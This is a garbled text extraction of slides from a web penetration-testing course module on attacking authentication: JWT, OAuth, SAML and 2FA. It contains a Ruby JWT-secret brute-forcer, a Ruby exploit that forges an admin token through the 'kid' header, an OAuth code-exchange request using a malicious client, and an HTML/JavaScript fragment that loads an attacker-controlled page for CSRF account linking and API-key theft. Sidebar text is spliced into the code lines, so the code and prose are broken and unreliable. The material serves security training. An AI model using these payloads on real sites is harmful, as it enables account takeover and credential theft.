13 - Attacking Authentication and SSO
13 - Attacking Authentication and SSO
Penetration Testing
eXtreme
Authentication in
Web Apps
Attacking JWT
signature_encoded = encodeBase64(HMAC-
SHA256("secret", unsignedToken))
https://www.reddit.com/r/netsec/comments/dn10q2/pract
ical_approaches_for_testing_and_breaking_jwt/
require 'base64'
require 'openssl'
In case we want
to try brute- jwt = "jwt_goes_here"
forcing/guessing
header, data, signature = jwt.split(".")
we can do so as
line.chomp!
if sign(header+"."+data, line) == signature
puts line
follows, in Ruby. exit
end
end
Credit for the payload to David Roccasalva WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.21
13.2.4 JWT Attack Scenario 2
header = '{"typ":"JWT","alg":"HS256","kid":"public/css/bootstrap.css"}'
payload = '{"user":"admin"}'
require 'base64'
require 'openssl'
A ruby-based
data = Base64.strict_encode64(header)+"."+
exploit can be Base64.strict_encode64(payload)
data.gsub!("=","")
seen on your secret = File.open("bootstrap.css").read
right. signature =
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha25
6"), secret, data))
Puts data+"."+signature
challenge can
data.gsub!("=","")
be seen on your
secret = "xyz"
right.
signature =
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha25
6"), secret, data))
Puts data+"."+signature
Attacking OAuth
1. The authorization code grant: the Client redirects the user (Resource Owner) to
an Authorization Server to ask the user whether the Client can access her
Resources. After the user confirms, the Client obtains an Authorization Code
that the Client can exchange for an Access Token. This Access Token enables
the Client to access the Resources of the Resource Owner.
2. The implicit grant is a simplification of the authorization code grant. The Client
obtains the Access Token directly rather than being issued an Authorization
Code.
3. The resource owner password credentials grant enables the Client to obtain an
Access Token by using the username and password of the Resource Owner.
4. The client credentials grant enables the Client to obtain an Access Token by
using its own credentials.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.31
13.3.1 OAuth
Authorization Send the request to Burp’s “Session Timeout Test” plugin. Configure the plugin by
Codes selecting a matching string that indicates the authorization code is invalid (typically
'Unauthorized') and a minimum timeout of 31 minutes.
Expiring unused
authorization codes
limits the window in
which an attacker
can use captured or
guessed
authorization codes,
but that’s not always
the case.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.37
13.3.2 Common OAuth Attacks
Obtain an authorization code (guessed or captured) for an OAuth 2.0 client and
Authorization exchange with another client.
Codes Not Bound to
Client POST /oauth/token HTTP/1.1
An attacker can host: gallery:3005
Content-Length: 133
exchange captured Connection: close
or guessed
authorization codes code=9&redirect_uri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fphotoprint%3A3000%2Fcallback&grant_typ
e=authorization_code&client_id=maliciousclient&client_secret=secret
for access tokens
by using the
credentials for
another, potentially
malicious, client.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.38
13.3.2 Common OAuth Attacks
Analyze the entropy of multiple captured tokens. Note that it is hard to capture tokens
Weak Handle- for clients that are classic web applications as these tokens are communicated via a
back-channel1. Identity the location of the token endpoint. Most OAuth servers with
Based Access and openID/Connect support publish the locations of their endpoints at https://[base-
server-url]/.well-known/openid-configuration or at https://[base-server-url]/.well-
Refresh Tokens known/oauth-authorization-server. If such endpoint is not available, the token endpoint
is usually hosted at token.
If the tokens are 1. Make requests to the token endpoint with valid authorization codes or refresh tokens
and capture the resulting access tokens. Note that the client ID and secret are typically
weak, an attacker required. They may be in the body or as a Basic Authorization header.
"http://attackercontroll </form>
<script>
ed.com/malicious.html"; document.forms[0].submit();
</script>
document.body.appendChil </body>
</html>
d(iframe);
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.49
13.3.3 OAuth Attack Scenario 2
Bonus step: We finally injected a JavaScript function, similar to then one used for
the remote credential theft attack, to access the iframe's contents including the
created application’s API key. This time, a remote API key theft attack occurred.
request Step 2: The attacker commences the ‘Connect’ process with the Client using the dummy
This attack exploits the account on the Provider, but stops the redirect mentioned in request 3 (of the Authorization code
grant flow). The Client has been granted access by the attacker to his/her resources on the
first request (when a Provider but the Client doesn’t know that.
user clicks the ‘Connect’
or ‘Sign in with’ button). Step 3: A malicious webpage is created that:
• By means of a CSRF attack logs out the user on the Provider
Users are many times • By means of a CSRF attack logs in the user on the Provider with the credentials of the
allowed by websites to attacker dummy account.
connect additional • Using an iframe, spoofs the 1st request to connect the Provider account with the Client.
accounts like Google, Step 4: Once the victim visits the attacker’s malicious page all parts of Step 3 are performed.
using OAuth. An The ‘Connect’ request is then issued. The attacker’s dummy account is now connected with the
attacker can gain victim’s account on the Client. No granting access message will be displayed due to the
attacker’s actions on Step 2.
access to the victim’s
account on the Client by Step 5: The attacker can log in to the victim’s account on the Client by signing in with the dummy
connecting one of account on the Provider.
Attacking SAML
Bypassing 2FA
Original
Edited
Response
to the
edited
request
Step 4: The web application responded with a 403 Authorization error message,
twice.
JWT Security
https://www.reddit.com/r/netsec/comments/dn10q2/practical_approaches_for_testing_and_
breaking_jwt/
JWTear
https://github.com/ethicalhack3r/DVWA
MailSniper
https://github.com/dafthack/MailSniper
*Labs are only available in Full or Elite Editions of the course. To ACCESS your labs, go to the course
in your members area and click the labs drop-down in the appropriate module line. To UPGRADE to
gain access, click LINK.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.83